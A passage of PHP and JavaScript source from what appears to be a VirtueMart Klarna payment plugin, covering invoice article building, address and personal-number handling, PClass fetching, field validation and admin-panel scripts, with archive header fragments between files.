{ $price= $item->product_item_price; } else { $price= $item->product_discountedPriceWithoutTax; } } $item_price = self::convertPrice ($price, $order['details']['BT']->order_currency, $cData['currency_code']); $item_price = (double)(round ($item_price, 2)); $item_tax_percent=0; foreach ($order['calc_rules'] as $calc_rule) { if ($calc_rule->virtuemart_order_item_id==$item->virtuemart_order_item_id AND $calc_rule->calc_kind== 'VatTax') { $item_tax_percent=$calc_rule->calc_value; break; } } //$item_discount_percent = (double)(round (abs (($item->product_subtotal_discount / $item->product_quantity) * 100 / $price), 2)); $item_discount_percent=0.0; $discount_tax_percent=0.0; $klarna->addArticle ($item->product_quantity, utf8_decode ($item->order_item_sku), utf8_decode (strip_tags ($item->order_item_name)), $item_price, (double)$item_tax_percent, $item_discount_percent, KlarnaFlags::INC_VAT); $discount_tax_percent=0.0; $includeVat=KlarnaFlags::INC_VAT; if ($item->product_subtotal_discount != 0.0) { if ($item->product_subtotal_discount > 0.0) { $discount_tax_percent=$item_tax_percent; $includeVat=0; } $name=utf8_decode (strip_tags ($item->order_item_name)). ' ('.JText::_('VMPAYMENT_KLARNA_PRODUCTDISCOUNT'). ')'; $discount = self::convertPrice (abs($item->product_subtotal_discount), $order['details']['BT']->order_currency, $cData['currency_code']); $discount = (double)(round (abs($discount), 2)) * -1 ; $klarna->addArticle (1, utf8_decode ($item->order_item_sku), $name, $discount, (double)$discount_tax_percent, $item_discount_percent, $includeVat); } } // this is not correct yet /* foreach($order['calc_rules'] as $rule){ if ($rule->calc_kind == 'DBTaxRulesBill' or $rule->calc_kind == 'taxRulesBill' or $rule->calc_kind == 'DATaxRulesBill') { $klarna->addArticle (1, "", $rule->calc_rule_name, $rule->calc_amount, 0.0, 0.0, 0); } } */ // Add shipping $shipment = self::convertPrice ($order['details']['BT']->order_shipment + $order['details']['BT']->order_shipment_tax, $order['details']['BT']->order_currency, $cData['currency_code']); foreach ($order['calc_rules'] as $calc_rule) { if ($calc_rule->calc_kind== 'shipment') { $shipment_tax_percent=$calc_rule->calc_value; break; } } $klarna->addArticle (1, "shippingfee", JText::_ ('VMPAYMENT_KLARNA_SHIPMENT'), ((double)(round (($shipment), 2))), round ($shipment_tax_percent, 2), 0, KlarnaFlags::IS_SHIPMENT + KlarnaFlags::INC_VAT); // Add invoice fee if ($klarna_pclass == -1) { //Only for invoices! $payment_without_tax = self::convertPrice ($order['details']['BT']->order_payment, $order['details']['BT']->order_currency, $cData['currency_code']); $payment_with_tax = self::convertPrice ($order['details']['BT']->order_payment + $order['details']['BT']->order_payment_tax, $order['details']['BT']->order_currency, $cData['currency_code']); foreach ($order['calc_rules'] as $calc_rule) { if ( $calc_rule->calc_kind== 'payment') { $payment_tax_percent=$calc_rule->calc_value; break; } } if ($payment_without_tax > 0) { //vmdebug('invoicefee', $payment, $payment_tax); $klarna->addArticle (1, "invoicefee", utf8_decode(JText::_ ('VMPAYMENT_KLARNA_INVOICE_FEE_TITLE')), ((double)(round (($payment_with_tax), 2))), (double)round ($payment_tax_percent, 2), 0, KlarnaFlags::IS_HANDLING + KlarnaFlags::INC_VAT); } } // Add coupon if there is any if (abs ($order['details']['BT']->coupon_discount) > 0.0) { $coupon_discount = self::convertPrice (round ($order['details']['BT']->coupon_discount), $order['details']['BT']->order_currency, $cData['currency_code']); $coupon_discount =(double)(round (abs($coupon_discount), 2)) * -1 ; //vmdebug('discount', $coupon_discount); $klarna->addArticle (1, 'discount',utf8_decode(JText::_ ('VMPAYMENT_KLARNA_DISCOUNT')) . ' ' . utf8_decode($order['details']['BT']->coupon_code), $coupon_discount , 0, 0, KlarnaFlags::INC_VAT); } try { $klarna_shipping = new KlarnaAddr( $order['details']['BT']->email, $shipTo->phone_1, isset($shipTo->phone_2) ? $shipTo->phone_2 : "", utf8_decode ($shipTo->first_name), utf8_decode ($shipTo->last_name), '', utf8_decode ($shipTo->address_1), $shipTo->zip, utf8_decode ($shipTo->city), utf8_decode ($cData['country']), KlarnaHandler::setHouseNo (isset($shipTo->house_no) ? $shipTo->house_no : "", $cData['country_code_3']), KlarnaHandler::setAddress2 ($shipTo->address_2, $cData['country_code_3']) ); } catch (Exception $e) { VmInfo ($e->getMessage ()); return FALSE; } $klarna_reference = ""; // what is that? if ($klarnaData['invoice_type'] == 'company') { $klarna_shipping->isCompany = TRUE; $klarna_shipping->setCompanyName ($shipTo->company); $klarna_comment = $shipTo->first_name . ' ' . $shipTo->last_name; //$klarnaData['reference']; if ($klarna_shipping->getLastName () == "") { $klarna_shipping->setLastName ("-"); } if ($klarna_shipping->getFirstName () == "") { $klarna_shipping->setFirstName ("-"); } } else { $klarna_reference = ""; $klarna_comment = ""; } // Only allow billing and shipping to be the same for Germany and the Netherlands if (VMKLARNA_SHIPTO_SAME_AS_BILLTO) { $klarna_billing = $klarna_shipping; } else { $klarna_billing = self::getBilling ($cData, $order); } $klarna_flags = KlarnaFlags::RETURN_OCR; // get ocr back from KO. $klarna->setComment ($klarna_comment); $klarna->setReference ($klarna_reference, ""); $pno = self::getPNOfromSession ($sessionKlarnaData->KLARNA_DATA, $country); try { $klarna->setAddress (KlarnaFlags::IS_SHIPPING, $klarna_shipping); $klarna->setAddress (KlarnaFlags::IS_BILLING, $klarna_billing); if (isset($klarnaData['year_salary'])) { $klarna->setIncomeInfo ("'yearly_salary'", $klarnaData['year_salary']); } $result = $klarna->addTransaction ($pno, ($klarna->getCountry () == KlarnaCountry::DE || $klarna->getCountry () == KlarnaCountry::NL) ? $klarnaData['gender'] : NULL, $klarna_flags, $klarna_pclass); $result['eid'] = $cData['eid']; $result['status_code'] = $result[2]; $result['status_text'] = JText::_ ('VMPAYMENT_KLARNA_ORDER_STATUS_TEXT_' . $result[2]); return $result; //return $result; } catch (Exception $e) { $result['status_code'] = KlarnaFlags::DENIED; $result['status_text'] = mb_convert_encoding ($e->getMessage (), 'UTF-8', 'ISO-8859-1'). " (#" . $e->getCode () . ")"; return $result; //return $result; //self::redirectPaymentMethod('error', htmlentities($e->getMessage()) . " (#" . $e->getCode() . ")"); } } private static function setAddress2 ($address2, $country) { if ($country == 'NLD') { return $address2; } else { return NULL; } } private static function setHouseNo ($houseNo, $country) { if (($country == 'DEU') or ($country == 'NLD')) { return $houseNo; } else { return NULL; } } /** * Returns a collection of addresses that are connected to the * supplied SSN * * @param $pno The SSN of the user. This method is only available * for swedish customers * @return array */ public static function getAddresses ($pno, $settings, $method) { // Only available for sweden. $addresses = array(); $klarna = new Klarna_virtuemart(); $mode = KlarnaHandler::getKlarnaMode ($method, $settings['country_code_3']); $klarna->config ($settings['eid'], $settings['secret'], KlarnaCountry::SE, KlarnaLanguage::SV, KlarnaCurrency::SEK, $mode, VMKLARNA_PC_TYPE, KlarnaHandler::getKlarna_pc_type (), $mode); try { $addresses = $klarna->getAddresses ($pno, NULL, KlarnaFlags::GA_GIVEN); } catch (Exception $e) { // the message is returned NOT in UTF-8 $msg = mb_convert_encoding ($e->getMessage (), 'UTF-8', 'ISO-8859-1'); VmInfo ($msg); } unset($klarna); return $addresses; } /** * @static * @param $method * @return array */ public static function fetchAllPClasses ($method) { $message = ''; $success = ''; $results = array(); $countries = self::getKlarnaCountries (); $pc_type = KlarnaHandler::getKlarna_pc_type (); if (empty($pc_type)) { return FALSE; } else { // delete the file directly if (file_exists ($pc_type)) { unlink ($pc_type); } } foreach ($countries as $country) { $active_country = "klarna_active_" . $country; if ($method->$active_country) { // country is CODE 3==> converting to 2 letter country //$country = self::convertCountryCode($method, $country); $lang = self::getLanguageForCountry ($method, $country); $flagImg = JURI::root (TRUE) . '/administrator/components/com_virtuemart/assets/images/flag/' . strtolower ($lang) . '.png'; $flag = ""; try { $settings = self::getCountryData ($method, $country); $klarna = new Klarna_virtuemart(); $klarna->config ($settings['eid'], $settings['secret'], $settings['country'], $settings['language'], $settings['currency'], KlarnaHandler::getKlarnaMode ($method, $settings['country_code_3']), VMKLARNA_PC_TYPE, $pc_type, TRUE); $klarna->fetchPClasses ($country); $success .= shopFunctions::getCountryByID ($settings['virtuemart_country_id']); } catch (Exception $e) { $message .= $flag . " " . shopFunctions::getCountryByID ($settings['virtuemart_country_id']) . ": " . $e->getMessage () . ' Error Code #' . $e->getCode () . '
    '; } } } $results['msg'] = $message; $results['notice'] = $success; return $results; //echo $notice; } static function createKlarnaFolder () { $safePath = VmConfig::get ('forSale_path', ''); if ($safePath) { $exists = JFolder::exists ($safePath . 'klarna'); if (!$exists) { $created = JFolder::create ($safePath . 'klarna'); if ($created) { return TRUE; } } else { return TRUE; } } $uri = JFactory::getURI (); $link = $uri->root () . 'administrator/index.php?option=com_virtuemart&view=config'; VmError (JText::sprintf ('VMPAYMENT_KLARNA_CANNOT_STORE_CONFIG', '' . $link . '', JText::_ ('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH'))); return FALSE; } /** * Redirects user to payment method stage. * * @param $type e.g. 'error', ... * @param $message */ public static function redirectPaymentMethod ($type = NULL, $message = NULL) { $log = utf8_encode ($message); //Display the error. if (strlen ($log) > 0) { if ($type === NULL) { $type = 'message'; } $app = JFactory::getApplication (); $app->enqueueMessage (JText::_ (urldecode ($log)), $type); } //Redirect to previous page. $session = JFactory::getSession (); $sessionKlarna = new stdClass(); $sessionKlarna->klarna_error = addslashes ($message); $session->set ('Klarna', serialize ($sessionKlarna), 'vm'); if (isset($_SESSION['klarna_paymentmethod'])) { $pid = $_SESSION['klarna_paymentmethod']; unset($_SESSION['klarna_paymentmethod']); } //$_SESSION['klarna_error'] = addslashes($message); $app = JFactory::getApplication (); $app->enqueueMessage ($message); $app->redirect (JRoute::_ ('index.php?option=com_virtuemart&view=cart',FALSE), JText::_ ('COM_VIRTUEMART_CART_ORDERDONE_DATA_NOT_VALID')); } /** * * @param $address * @return */ public static function splitAddress ($address) { $numbers = array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9'); $characters = array( '-', '/', ' ', '#', '.', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'); $specialchars = array('-', '/', ' ', '#', '.'); //Where do the numbers start? Allow for leading numbers $numpos = self::strpos_arr ($address, $numbers, 2); //Get the streetname by splitting off the from the start of the numbers $streetname = substr ($address, 0, $numpos); //Strip off spaces at the end $streetname = trim ($streetname); //Get the housenumber+extension $numberpart = substr ($address, $numpos); //and strip off spaces $numberpart = trim ($numberpart); //Get the start position of the extension $extpos = self::strpos_arr ($numberpart, $characters, 0); //See if there is one, if so if ($extpos != '') { //get the housenumber $housenumber = substr ($numberpart, 0, $extpos); // and the extension $houseextension = substr ($numberpart, $extpos); // and strip special characters from it $houseextension = str_replace ($specialchars, '', $houseextension); } else { //Otherwise, we already have the housenumber $housenumber = $numberpart; } return array($streetname, $housenumber, $houseextension); } /** * * @param $haystack * @param $needle * @param $where * @return */ private static function strpos_arr ($haystack, $needle, $where) { $defpos = 10000; if (!is_array ($needle)) { $needle = array($needle); } foreach ($needle as $what) { if (($pos = strpos ($haystack, $what, $where)) !== FALSE) { if ($pos < $defpos) { $defpos = $pos; } } } return $defpos; } /** * gets Eid and Secret for activated countries. */ public static function getEidSecretArray ($method) { $eid_array = array(); if (isset($method->klarna_merchantid_swe) && $method->klarna_merchantid_swe != "" && $method->klarna_sharedsecret_swe != "") { $eid_array['swe']['secret'] = $method->klarna_sharedsecret_swe; $eid_array['swe']['eid'] = (int)$method->klarna_merchantid_swe; } if (isset($method->klarna_merchantid_nor) && $method->klarna_merchantid_nor != "" && $method->klarna_sharedsecret_nor != "") { $eid_array['nor']['secret'] = $method->klarna_sharedsecret_nor; $eid_array['nor']['eid'] = $method->klarna_merchantid_nor; } if (isset($method->klarna_merchantid_deu) && $method->klarna_merchantid_deu != "" && $method->klarna_sharedsecret_deu != "") { $eid_array['deu']['secret'] = $method->klarna_sharedsecret_deu; $eid_array['deu']['eid'] = $method->klarna_merchantid_deu; } if (isset($method->klarna_nld_merchantid) && $method->klarna_nld_merchantid != "" && $method->klarna_sharedsecret_nld != "") { $eid_array['nld']['secret'] = $method->klarna_sharedsecret_nld; $eid_array['nld']['eid'] = $method->klarna_nld_merchantid; } if (isset($method->klarna_merchantid_dnk) && $method->klarna_merchantid_dnk != "" && $method->klarna_sharedsecret_dnk != "") { $eid_array['dnk']['secret'] = $method->klarna_sharedsecret_dnk; $eid_array['dnk']['eid'] = $method->klarna_merchantid_dnk; } if (isset($method->klarna_merchantid_fin) && $method->klarna_merchantid_fin != "" && $method->klarna_sharedsecret_fin != "") { $eid_array['fin']['secret'] = $method->klarna_sharedsecret_fin; $eid_array['fin']['eid'] = $method->klarna_merchantid_fin; } return $eid_array; } /** * @param $obj * @param int $level * @return array */ public function xmlToArray ($obj, $level = 0) { $aResult = array(); if (!is_object ($obj)) { return $aResult; } $aChild = (array)$obj; if (sizeof ($aChild) > 1) { foreach ($aChild as $sName => $mValue) { if ($sName == "@attributes") { $sName = "_attributes"; } if (is_array ($mValue)) { foreach ($mValue as $ee => $ff) { if (!is_object ($ff)) { $aResult[$sName][$ee] = $ff; } else { if (get_class ($ff) == 'SimpleXMLElement') { $aResult[$sName][$ee] = self::xmlToArray ($ff, $level + 1); } } } } else { if (!is_object ($mValue)) { $aResult[$sName] = $mValue; } else { if (get_class ($mValue) == 'SimpleXMLElement') { $aResult[$sName] = self::xmlToArray ($mValue, $level + 1); } } } } } else { if (sizeof ($aChild) > 0) { foreach ($aChild as $sName => $mValue) { if ($sName == "@attributes") { $sName = "_attributes"; } if (!is_array ($mValue) && !is_object ($mValue)) { $aResult[$sName] = $mValue; } else { if (is_object ($mValue)) { $aResult[$sName] = self::xmlToArray ($mValue, $level + 1); } else { foreach ($mValue as $sNameTwo => $sValueTwo) { if (!is_object ($sValueTwo)) { $aResult[$obj->getName ()][$sNameTwo] = $sValueTwo; } else { if (get_class ($sValueTwo) == 'SimpleXMLElement') { $aResult[$obj->getName ()][$sNameTwo] = self::xmlToArray ($sValueTwo, $level + 1); } } } } } } } } return $aResult; } /** * @static * @param $settings * @param $mode * @param $klarna_invoice_no * @return string */ public static function checkOrderStatus ($settings, $mode, $orderNumber) { try { $klarna = new Klarna_virtuemart(); $klarna->config ($settings['eid'], $settings['secret'], $settings['country'], $settings['language'], $settings['currency'], $mode, VMKLARNA_PC_TYPE, KlarnaHandler::getKlarna_pc_type (), TRUE); vmdebug ('checkOrderStatus', $klarna); $os = $klarna->checkOrderStatus ($orderNumber, 1); } catch (Exception $e) { $msg = $e->getMessage () . ' #' . $e->getCode () . '
    '; VmError ($msg); return $msg; } //$os = self::getStatusForCode($os); return $os; } /** * Return pclasses stored in json file. */ public static function getPClasses ($type = NULL, $mode, $settings) { //$settings = self::countryData($method, $country); try { $klarna = new Klarna_virtuemart(); $klarna->config ($settings['eid'], $settings['secret'], $settings['country'], $settings['language'], $settings['currency'], $mode, VMKLARNA_PC_TYPE, KlarnaHandler::getKlarna_pc_type (), TRUE); return $klarna->getPClasses ($type); } catch (Exception $e) { } } static function getCheapestPclass ($kCheckout, &$cheapest, &$minimum) { $pclasses = $kCheckout->aPClasses; if (empty($pclasses)) { $minimum = 0; return; } $cheapest = 0; $minimum = ''; foreach ($pclasses as $pclass) { if ($cheapest == 0 || $pclass['monthlyCost'] < $cheapest) { $cheapest = $pclass['monthlyCost']; } if ($pclass['pclass']->getMinAmount () < $minimum || $minimum === '') { $minimum = $pclass['pclass']->getMinAmount (); } } } /** * @param string $fld * @return string */ public static function getVendorCountry ($fld = 'country_3_code') { if (!class_exists ('VirtueMartModelVendor')) { JLoader::import ('vendor', JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_virtuemart' . DS . 'models'); } $virtuemart_vendor_id = 1; $model = VmModel::getModel ('vendor'); $vendorAddress = $model->getVendorAdressBT ($virtuemart_vendor_id); $vendor_country = ShopFunctions::getCountryByID ($vendorAddress->virtuemart_country_id, $fld); return $vendor_country; } /** * @param $klarnaError * @param $klarnaOption * @return bool */ function getKlarnaError (&$klarnaError, &$klarnaOption) { $session = JFactory::getSession (); $sessionKlarna = $session->get ('Klarna', 0, 'vm'); if (empty($sessionKlarna)) { return FALSE; } $sessionKlarnaData = unserialize ($sessionKlarna); if (isset($sessionKlarnaData->klarna_error) and isset($sessionKlarnaData->klarna_paymentmethod)) { $klarnaError = $sessionKlarnaData->klarna_error; // it is a message to display $klarnaOption = $sessionKlarnaData->klarna_paymentmethod; return TRUE; } else { return FALSE; } return FALSE; } function setKlarnaErrorInSession ($msg, $option) { $session = JFactory::getSession (); $sessionKlarna = $session->get ('Klarna', 0, 'vm'); if (empty($sessionKlarna)) { $sessionKlarnaData = new stdClass(); } else { $sessionKlarnaData = unserialize ($sessionKlarna); } $sessionKlarnaData->klarna_error = $msg; //$sessionKlarnaData->klarna_option = $option; $session->set ('Klarna', serialize ($sessionKlarnaData), 'vm'); } /** * */ function clearKlarnaError () { $session = JFactory::getSession (); $sessionKlarna = $session->get ('Klarna', 0, 'vm'); if ($sessionKlarna) { $sessionKlarnaData = unserialize ($sessionKlarna); if (isset($sessionKlarnaData->klarna_error)) { unset($sessionKlarnaData->klarna_error); //unset($sessionKlarnaData->klarna_option); $session->set ('Klarna', serialize ($sessionKlarnaData), 'vm'); } } } /** * @static * @param $method * @return int */ static function getKlarnaMode ($method, $country) { //return Klarna::BETA; // It is the VM specific store ID to test $merchant_id = strtolower ('klarna_merchantid_' . $country); if ($method->$merchant_id == VMPAYMENT_KLARNA_MERCHANT_ID_VM or $method->$merchant_id == VMPAYMENT_KLARNACHECKOUT_MERCHANT_ID_VM or $method->$merchant_id == VMPAYMENT_KLARNA_MERCHANT_ID_DEMO) { return Klarna::BETA; } else { return Klarna::LIVE; } } /** * @static * @param $mode * @return bool */ static function getKlarnaSSL ($mode) { return ($mode == Klarna::LIVE); } /** * @static * @param $price * @param string $toCurrency * @return float */ static function convertPrice ($price, $fromCurrency, $toCurrency = '', $cartPricesCurrency = '') { if (!(is_int ($toCurrency) or is_numeric ($toCurrency)) && !empty($toCurrency)) { $toCurrency = ShopFunctions::getCurrencyIDByName ($toCurrency); } if ($fromCurrency == $toCurrency) { return $price; } // product prices or total in cart is always in vendor currency $priceInNewCurrency = vmPSPlugin::getAmountInCurrency($price,$toCurrency); // set back the currency display if (empty($cartPricesCurrency)) { $cartPricesCurrency = $fromCurrency; } $cd = CurrencyDisplay::getInstance ($cartPricesCurrency); vmDebug ('convertPrice', $price, $toCurrency, $fromCurrency, $cartPricesCurrency,$priceInNewCurrency); return $priceInNewCurrency['value']; } /* * if client has not given address then get cdata depending on the currency * otherwise get info depending on the country */ /** * @static * @param $method * @param $address * @return array|null */ static function getcData ($method, $address) { if (!isset($address['virtuemart_country_id'])) { $vendor_country = KlarnaHandler::getVendorCountry (); $cData = self::countryData ($method, $vendor_country); } else { $cart_country_code_3 = ShopFunctions::getCountryByID ($address['virtuemart_country_id'], 'country_3_code'); // the user gave an address, get info according to his country $cData = self::countryData ($method, $cart_country_code_3); } return $cData; } /** * @static * @return null|string */ static function getKlarna_pc_type () { $safePath = VmConfig::get ('forSale_path', ''); if ($safePath) { return $safePath . "klarna/klarna.json"; } else { $uri = JFactory::getURI (); $link = $uri->root () . 'administrator/index.php?option=com_virtuemart&view=config'; VmError (JText::sprintf ('VMPAYMENT_KLARNA_CANNOT_STORE_CONFIG', '' . $link . '', JText::_ ('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH'))); return NULL; } } /** * Sweden: yymmdd-nnnn, it can be sent with or without dash "-" or with or without the two first numbers in the year. * Finland: ddmmyy-nnnn * Denmark: ddmmyynnnn * Norway: ddmmyynnnnn * Germany: ddmmyyyy * Netherlands: ddmmyyyy * * @static * @param $billTo * @param $country * @return string */ static function getPNOfromSession ($sessionData, $country) { if (($country == "NLD" || $country == "DEU")) { $pno = $sessionData['pno_frombirthday']; } else { $pno = $sessionData['socialNumber']; } return $pno; } /** * @param $data * @return bool */ static function checkDataFromEditPayment ($data, $country3) { if (!class_exists ('VirtueMartModelUserfields')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'userfields.php'); } $errors = array(); /* if ($country3 == "DEU") { $consent = JRequest::getVar ('klarna_consent'); if ($consent != 'on') { $errors = JText::_ ('VMPAYMENT_KLARNA_NO_CONSENT'); } } // todo later $userFieldsModel = VmModel::getModel ('userfields'); $userFields = $userFieldsModel->getUserFields ( 'account' , array('required' => FALSE, 'delimiters' => TRUE, 'captcha' => TRUE, 'system' => FALSE) , array('delimiter_userinfo', 'name', 'username', 'password', 'password2', 'address_type_name', 'address_type', 'user_is_vendor', 'agreed')); $required_shopperfields_vm = Klarnahandler::getKlarnaVMGenericShopperFields (FALSE); $required_shopperfields_bycountry = KlarnaHandler::getKlarnaSpecificShopperFields (); $required_shopperfields = array_merge ($required_shopperfields_vm, $required_shopperfields_bycountry[$country3]); foreach ($userFields as $userField) { if (in_array ($userField->name, $required_shopperfields)) { if (empty($data[$userField->name])) { $errors[] = JText::_($userField->title); } } } */ // Quick and durty .. but it works $kIndex = "klarna_"; if ($country3 == "SWE") { if (JRequest::getVar ('klarna_invoice_type') == 'company') { if (strlen (trim ((string)JRequest::getVar ('klarna_company_name'))) == 0) { $errors[] = 'VMPAYMENT_KLARNA_COMPANY_NAME'; } } else { if (!KlarnaEncoding::checkPNO ($data['socialNumber'], KlarnaEncoding::PNO_SE)) { $errors[] = 'VMPAYMENT_KLARNA_PERSONALORORGANISATIO_NUMBER'; } } } else { if ($data['phone'] == '') { $errors[] = 'VMPAYMENT_KLARNA_PHONE_NUMBER'; } if ($data['street'] == '') { $errors[] = 'VMPAYMENT_KLARNA_STREET_ADRESS'; } if ($data['first_name'] == '') { $errors[] = 'VMPAYMENT_KLARNA_FIRST_NAME'; } if ($data['last_name'] == '') { $errors[] = 'VMPAYMENT_KLARNA_LAST_NAME'; } if ($data['city'] == '') { $errors[] = 'VMPAYMENT_KLARNA_ADDRESS_CITY'; } if ($data['zip'] == '') { $errors[] = 'VMPAYMENT_KLARNA_ADDRESS_ZIP'; } } // German and dutch if ($country3 == "NLD" || $country3 == "DEU") { if ($data['street'] == '') { $errors[] = 'VMPAYMENT_KLARNA_STREET_ADRESS'; } if ($data['house_no'] == '') { $errors[] = 'VMPAYMENT_KLARNA_ADDRESS_HOMENUMBER'; } if ($country3 == "DEU") { if ($data['consent'] != 'on') { $errors[] = 'VMPAYMENT_KLARNA_NO_CONSENT'; } } if ($data['pno_frombirthday'] == '') { $errors[] = 'VMPAYMENT_KLARNA_PERSONALORORGANISATIO_NUMBER'; } if ($data['gender'] == '') { $errors[] = 'VMPAYMENT_KLARNA_SEX'; } } // General /* the email is not in the payment form if ($data['emailAddress'] == '') { $errors[] = 'VMPAYMENT_KLARNA_EMAIL'; } */ // Norwegian, Danish and Finnish if (($country3 == "NOR") || ($country3 == "DNK") || $country3 == "FIN") { if ($data['socialNumber'] == '') { $errors[] = 'VMPAYMENT_KLARNA_PERSONALORORGANISATIO_NUMBER'; } } if (!empty($errors)) { $msg = JText::_ ('VMPAYMENT_KLARNA_ERROR_TITLE_2'); foreach ($errors as $error) { $msg .= "
  • " . JText::_ ($error) . "
  • "; } $option=NULL; self::setKlarnaErrorInSession ($msg, $option); return $msg; } return NULL; } /** * @static * @return array */ static function getKlarnaSpecificShopperFields () { return array( "SWE" => array( "email"), "DNK" => array(), // should not be given to the shopper year_salary "NOR" => array(), "FIN" => array(), "NLD" => array( "address_2", "house_no"), "DEU" => array( "house_no") ); } /** * @return array */ static function getKlarnaVMGenericShopperFields ($all = TRUE) { $required = array("first_name", "last_name", "address_1", "city", "zip", "phone_1", "virtuemart_country_id"); if ($all) { $required = array_merge ($required, array("company")); } return $required; } static function getKlarnaShopperFieldsType () { return array("socialNumber"=> "text", "email" => "email", "birthday" => "date", "address_2" => "text", "house_no" => "text", ); } /** * */ function getByFieds () { $required_shopperfields_byfields = array( "socialNumber" => array("SWE", "DNK", "NOR", "FIN"), "year_salary" => array("DNK"), "address_2", "birthday" => array("DEU", "NLD"), "house_no" => array("NLD"), "email" => array("SWE") ); } /** * Get the shipToAddress which might differ from default address. * From VM shopperFields to Klarna Fields */ public static function getShipToAddress ($cart) { //vmdebug('getShipToAddress',$cart); if (VMKLARNA_SHIPTO_SAME_AS_BILLTO) { $shipTo = $cart->BT; } else { $shipTo = (($cart->ST == 0 or empty($cart->ST)) ? $cart->BT : $cart->ST); } return self::getKlarnaFieldsFromVmShopperFields ($shipTo, $cart->BT['email']); } /** * @static * @param $from * @param $from_email * @return array */ static function getKlarnaFieldsFromVmShopperFields ($from, $from_email) { $klarnaFields = array(); switch ($from['title']) { case JText::_ ('COM_VIRTUEMART_SHOPPER_TITLE_MR'): $klarnaFields['gender'] = KlarnaFlags::MALE; break; case JText::_ ('COM_VIRTUEMART_SHOPPER_TITLE_MISS'): case JText::_ ('COM_VIRTUEMART_SHOPPER_TITLE_MRS'): $klarnaFields['gender'] = KlarnaFlags::FEMALE; break; default: $klarnaFields['gender'] = NULL; break; } $country_code_3 = ShopFunctions::getCountryByID ($from['virtuemart_country_id'], 'country_3_code'); $klarnaFields['email'] = $from_email; $klarnaFields['country'] = @ShopFunctions::getCountryByID (@$from['virtuemart_country_id'], 'country_3_code'); $klarnaFields['socialNumber'] = @$from['socialNumber']; $klarnaFields['houseNr'] = @$from['house_no']; $klarnaFields['houseExt'] = @$from['address_2']; $klarnaFields['first_name'] = @$from['first_name']; if ($country_code_3 == 'NLD') { $klarnaFields['last_name'] = @$from['middle_name'] . " " . @$from['last_name']; } else { $klarnaFields['last_name'] = @$from['last_name']; } $klarnaFields['reference'] = $from['first_name'] . ' ' . $from['last_name']; $klarnaFields['company_name'] = @$from['company_name']; $klarnaFields['phone'] = @$from['phone_1']; $klarnaFields['street'] = @$from['address_1']; $klarnaFields['city'] = @$from['city']; $klarnaFields['country'] = $country_code_3; $klarnaFields['state'] = @$from['state']; $klarnaFields['zip'] = @$from['zip']; $klarnaFields['birthday'] = @$from['birthday']; if (isset($from['birthday']) and !empty($from['birthday'])) { $date = explode ("-", $from['birthday']); if (is_array ($date)) { $klarnaFields['birth_year'] = $date['0']; $klarnaFields['birth_month'] = $date['1']; $klarnaFields['birth_day'] = $date['2']; } } return $klarnaFields; } function checkNLpriceCondition ($price) { // Since 12/09/12: merchants can sell goods with Klarna Invoice up to thousands of euros. if ($price > 250) { // We can't show our payment options for Dutch customers // if price exceeds 250 euro. Will be replaced with ILT in // the future. return FALSE; } return TRUE; } function checkPartNLpriceCondition ($cart) { // Since 12/09/12: merchants can sell goods with Klarna Invoice up to thousands of euros. // convert price in euro //$euro_currency_id = ShopFunctions::getCurrencyByName( 'EUR'); $price = KlarnaHandler::convertPrice ($cart->pricesUnformatted['billTotal'], $cart->pricesCurrency, 'EUR',$cart->pricesCurrency); return self::checkNLpriceCondition ($price); } } PK]y>\*vmpayment/klarna/klarna/helpers/klarna.cfgnuW+A PK]y>\c\\3vmpayment/klarna/klarna/assets/js/klarna_invoice.jsnuW+A// Load when document finished loading jQuery( function (){ klarna.invoiceReady(); }); PK]y>\Q  1vmpayment/klarna/klarna/assets/js/klarna_admin.jsnuW+AjQuery(function($){ setTimeout('showCountries()', 10); flagListener(); //setTimeout('setExtraInfo()', 10); setTimeout('showPclasses()', 10); $(".update_pclasses a").click( function(e){ e.preventDefault(); form = $(this).parents("form") ; var link = $(this).attr("href"); var datas = $(this).parents("form").serializeArray(); datas.push({"name":"redirect","value":"no"}); datas.push({"name":"task","value":"save"}); $.post(link,datas,function(data) { if (data = "ok") { console.log("update table"); datas.push({"name":"view","value":"plugin"}); datas.push({"name":"name","value":"klarna"}); datas.push({"name":"task","value":"plugin"}); $.getJSON(link , datas,function(update) { // update json array msg,notice,pclasses $('#PClassesSuccessResult').hide().html(update.msg+'
    '+update.notice).slideToggle(1000).delay(2000).slideToggle(500); //console.log("update pclasse"); $('#pclasses').html(update.pclasses); }); } }); return false; }); }); function showCountries() { jQuery('select[name=KLARNA_SELECTED_COUNTRIES[]] option:selected').each(function() { var value = jQuery(this).attr('value'); var code = convert(value); var field = 'fieldset#'+code+'_settings'; jQuery(field).removeClass('hide'); jQuery('img#'+code).removeClass('inactive'); }); } // The ExtraInfo box in the backend empties itself every time you enter the // backend if it contains php code, this function puts it back. function setExtraInfo() { var einfo = "<"+"?php include(JPATH_SITE . '/components/com_klarna/extrainfo.php'); "+"?"+">"; var current = jQuery('textarea').attr('name', 'payment_extrainfo').text(); if (current.search('JPATH_SITE') <0 ) { jQuery('textarea').attr('name','payment_extrainfo').text(einfo+current); } } function showPclasses() { jQuery('#pclass_field').click(function(){ var pclass_field=jQuery(this); jQuery('#pclasses').slideToggle("fast", function() { if (pclass_field.find('span').hasClass('expand_arrow')) pclass_field.find('span').addClass('collapse_arrow').removeClass('expand_arrow') else pclass_field.find('span').addClass('expand_arrow').removeClass('collapse_arrow') // jQuery(this).parent().find('#arrow').html(''); }); }); } function convert(country) { switch(country) { case "SWE": return "SE"; case "NOR": return "NO"; case "DNK": return "DK"; case "FIN": return "FI"; case "NLD": return "NL"; case "DEU": return "DE"; default: return null; // not supported by Klarna yet } } function convert_twoletter(country) { switch(country) { case "SE": return "SWE"; case "NO": return "NOR"; case "DK": return "DNK"; case "FI": return "FIN"; case "NL": return "NLD"; case "DE": return "DEU"; default: return null; // not supported by Klarna yet } } function flagListener() { jQuery('#klarna_countries').find('span').click(function() { var code = 